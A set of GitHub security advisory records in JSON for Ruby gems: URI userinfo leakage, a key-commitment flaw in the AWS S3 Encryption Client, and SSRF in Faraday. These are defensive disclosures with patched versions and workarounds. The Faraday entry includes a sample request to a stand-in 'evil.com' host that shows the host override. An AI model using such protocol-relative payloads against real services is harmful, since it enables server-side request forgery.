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  "aliases": [
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  ],
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      "CWE-212"
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    "nvd_published_at": "2025-03-04T00:15:31Z",
    "severity": "LOW"
  },
  "details": "There is a possibility for userinfo leakage by in the uri gem.\nThis vulnerability has been assigned the CVE identifier CVE-2025-27221. We recommend upgrading the uri gem.\n\n## Details\n\nThe methods `URI#join`, `URI#merge`, and `URI#+` retained userinfo, such as `user:password`, even after the host is replaced. When generating a URL to a malicious host from a URL containing secret userinfo using these methods, and having someone access that URL, an unintended userinfo leak could occur.\n\nPlease update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later.\n\n## Affected versions\n\nuri gem versions \u003c 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and 1.0.0 to 1.0.2.\n\n## Credits\n\nThanks to Tsubasa Irisawa (lambdasawa) for discovering this issue.\nAlso thanks to nobu for additional fixes of this vulnerability.",
  "id": "GHSA-22h5-pq3x-2gf2",
  "modified": "2025-11-04T00:32:21Z",
  "published": "2025-03-03T22:07:53Z",
  "references": [
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      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27221"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/uri/pull/154"
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    {
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      "url": "https://github.com/ruby/uri/pull/157"
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      "url": "https://hackerone.com/reports/2957667"
    },
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      "url": "https://github.com/ruby/uri"
    },
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      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/uri/CVE-2025-27221.yml"
    },
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      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html"
    },
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      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00015.html"
    },
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      "url": "https://www.cve.org/CVERecord?id=CVE-2025-27221"
    },
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      "url": "https://www.ruby-lang.org/en/news/2025/02/26/security-advisories"
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      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
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  "summary": "URI allows for userinfo Leakage in URI#join, URI#merge, and URI#+"
}

{
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        "name": "aws-sdk-s3"
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    "github_reviewed_at": "2025-12-18T18:51:50Z",
    "nvd_published_at": "2025-12-17T21:15:53Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nS3 Encryption Client for Ruby is an open-source client-side encryption library used to facilitate writing and reading encrypted records to S3.  \n\nWhen the encrypted data key (EDK) is stored in an \"Instruction File\" instead of S3\u0027s metadata record, the EDK is exposed to an \"Invisible Salamanders\" attack  (https://eprint.iacr.org/2019/016), which could allow the EDK to be replaced with a new key. \n\n\n\n## Impact\n\n### Background - Key Commitment\n\nThere is a cryptographic property whereby under certain conditions, a single ciphertext can be decrypted into 2 different plaintexts by using different encryption keys. To address this issue, strong encryption schemes use what is known as \"key commitment\", a process by which an encrypted message can only be decrypted by one key; the key used to originally encrypt the message. \n\nIn older versions of S3EC, when customers are also using a feature called \"Instruction File\" to store EDKs, key commitment is not implemented because multiple EDKs could be associated to an underlying encrypted message object.  For such customers an attack that leverages the lack of key commitment is possible.  A bad actor would need two things to leverage this issue: (i) the ability to create a separate, rogue, EDK that will also decrypt the underlying object to produce desired plaintext, and (ii) permission to upload a new instruction file to the S3 bucket to replace the existing instruction file placed there by the user using the S3C.  Any future attempt to decrypt the underlying encrypted message with the S3EC will unwittingly use the rogue EDK to produce a valid plaintext message.\n\nImpacted versions: \u003c= 1.207.0\n\n\n\n## Patches\n\nWe are introducing the concept of \"key commitment\" to S3EC where the EDK is cryptographically bound to the ciphertext in order to address this issue.  In order to maintain compatibility for in-flight messages we are releasing the fix in two versions. A code-compatible minor version that can read messages with key-commitment but not write them, and a new major version that can both read and write messages with key-commitment. For maximum safety customers are asked to upgrade to the latest major version: 1.208.0 or later.\n\n\n\nWorkarounds\n\nThere are no workarounds, please upgrade to the suggested version of S3EC.\n\nReferences\n\nIf customers have any questions or comments about this advisory, AWS SDK for Ruby asks that they contact AWS Security via the issue reporting page or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
  "id": "GHSA-2xgq-q749-89fq",
  "modified": "2025-12-20T05:35:01Z",
  "published": "2025-12-18T18:51:50Z",
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      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14762"
    },
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      "url": "https://github.com/aws/aws-sdk-ruby/commit/b633ba10cd2fbc4cc770b76ab531ed9647654044"
    },
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      "url": "https://aws.amazon.com/security/security-bulletins/AWS-2025-032"
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      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/aws-sdk-s3/CVE-2025-14762.yml"
    },
    {
      "type": "WEB",
      "url": "https://rubygems.org/gems/aws-sdk-s3/versions/1.208.0"
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    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
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  ],
  "summary": "AWS SDK for Ruby\u0027s S3 Encryption Client has a Key Commitment Issue"
}

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            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.4"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "faraday"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:37:05Z",
    "nvd_published_at": "2026-02-09T21:15:49Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n  Faraday\u0027s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby\u0027s\n  `URI#merge` to combine the connection\u0027s base URL with a user-supplied path. Per RFC 3986,\n  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n  that override the base URL\u0027s host/authority component.\n\n  This means that if any application passes user-controlled input to Faraday\u0027s `get()`,\n  `post()`, `build_url()`, or other request methods, an attacker can supply a\n  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n  arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n  `/`, so protocol-relative URLs bypass it entirely.\n\n  **Example:**\n  ```ruby\n  conn = Faraday.new(url: \u0027https://api.internal.com\u0027)\n  conn.get(\u0027//evil.com/steal\u0027)\n  # Request is sent to https://evil.com/steal instead of api.internal.com\n  ```\n\n### Patches\n\n  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n  Applications should validate and sanitize any user-controlled input before passing it to\n  Faraday request methods. Specifically:\n\n  - Reject or strip input that starts with // followed by a non-/ character\n  - Use an allowlist of permitted path prefixes\n  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n  Example validation:\n  ```ruby\n  def safe_path(user_input)\n    raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n    user_input\n  end\n  ```",
  "id": "GHSA-33mh-2634-fwr2",
  "modified": "2026-02-13T17:16:36Z",
  "published": "2026-02-09T20:37:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/pull/1569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lostisland/faraday"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url"
}